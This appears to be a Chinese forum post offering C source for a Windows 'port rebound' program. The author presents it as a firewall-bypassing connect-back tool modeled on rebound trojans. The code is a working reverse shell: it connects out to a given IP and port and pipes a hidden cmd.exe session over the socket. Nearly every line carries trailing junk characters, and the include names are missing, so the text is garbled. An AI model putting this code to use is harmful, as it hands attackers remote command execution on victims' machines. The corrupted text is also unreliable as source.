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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !X_~|5.  
=hlu, By  
/* ============================== T`;M!-)2  
Rebound port in Windows NT V0(ABi:d  
By wind,2006/7 TD9`S SpP  
===============================*/ xUoY|$fI  
#include GjG3aqP&!  
#include (o\~2e:  
R:p,Hav<q  
#pragma comment(lib,"wsock32.lib") g{(nt5|^l  
x~^nlnKVf  
void OutputShell(); WGK::?  
SOCKET sClient; </p.OaNe  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \]El%j4  
iHB)wC`u  
void main(int argc,char **argv) &o.SmkJI  
{ z w9r0bG  
WSADATA stWsaData; 9\2&6H  
int nRet; JH#?}L/0Fe  
SOCKADDR_IN stSaiClient,stSaiServer; B:.rp.1   
a QFHB!  
if(argc != 3)  p-kqX  
{ j&5Xjl>4  
printf("Useage:\n\rRebound DestIP DestPort\n"); :Yqa[._AF  
return; //|Vj | =  
} Hq$ |j,&?  
2T9Z{v  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^Quy64M  
RJD3o_("K  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '~ 0&m]N  
i/z7a%$   
stSaiClient.sin_family = AF_INET; \eCdGx?  
stSaiClient.sin_port = htons(0); e+TNG &_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N 5DS-gv  
Qt 2hb  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^p/mJ1/s7  
{ cO9Aw!  
printf("Bind Socket Failed!\n"); K%;yFEZ  
return; ~O6=dR  
} W{d/m;<@N  
1\uS~RR  
stSaiServer.sin_family = AF_INET; <Vb{QOgc;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {{\HU0g>&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rg\w!L(  
#4>F%_  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `0F IJT  
{ yM@cml6Ox  
printf("Connect Error!"); 1wt]J!hgV  
return; X*Zv,Wm  
} $)!Z"2T  
OutputShell(); 4NIfQYC.  
} $P_Y8:  
jYv !}  
void OutputShell() vCM'nkXY  
{ tP-c>|cz  
char szBuff[1024]; =_Rd0,  
SECURITY_ATTRIBUTES stSecurityAttributes; ;nE}%lT  
OSVERSIONINFO stOsversionInfo; ; ]!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _NFJm(X.  
STARTUPINFO stStartupInfo; |1o]d$3m  
char *szShell; 8z"Yo7no  
PROCESS_INFORMATION stProcessInformation; sTDBK!9I  
unsigned long lBytesRead; FceT'  
6%-2G@6d  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,")7uMZaF\  
MZ'HMYed   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZUycJ-[  
stSecurityAttributes.lpSecurityDescriptor = 0; cf9y0  
stSecurityAttributes.bInheritHandle = TRUE; {;U:0BPI3  
3B+Rx;>h  
\=)h6AG  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (!s[~O6  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jk@]d5  
d<o  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P;34Rd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YQ/ *|  
stStartupInfo.wShowWindow = SW_HIDE; z5I<,[`  
stStartupInfo.hStdInput = hReadPipe; }O/Nn0,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {8Ll\j@ "  
aH_&=/-Tz  
GetVersionEx(&stOsversionInfo); .;'xm_Gw<  
S(pfd2^  
switch(stOsversionInfo.dwPlatformId) F+GQl  
{ <S qbj;  
case 1: .JE7vPv%!  
szShell = "command.com"; M%/D:0  
break; rYl37.QE  
default: !wgj$5Rw.  
szShell = "cmd.exe"; {<@~;iq  
break; /.r($S g^  
} B}W^s;h  
?4_;9MkN  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _[ x(p6Xp  
Hi Yx(hY  
send(sClient,szMsg,77,0); %}/)_RzQ  
while(1) 4J  s>yP  
{ hf[K\aAk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S`::f(e  
if(lBytesRead) KGIz)/eSg  
{ (\j<`"n  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $a G'.0HW  
send(sClient,szBuff,lBytesRead,0); kHO\#fF<  
} IX}l)t[:(  
else 39"'Fz?1  
{ -?uwlpm#  
lBytesRead=recv(sClient,szBuff,1024,0); 0*q:p`OLw*  
if(lBytesRead<=0) break; IH5thL@D  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B?jF1F!9  
} `fs[C  
} k(MQ:9'|  
m+gVGK  
return; aUnm9u r  
}
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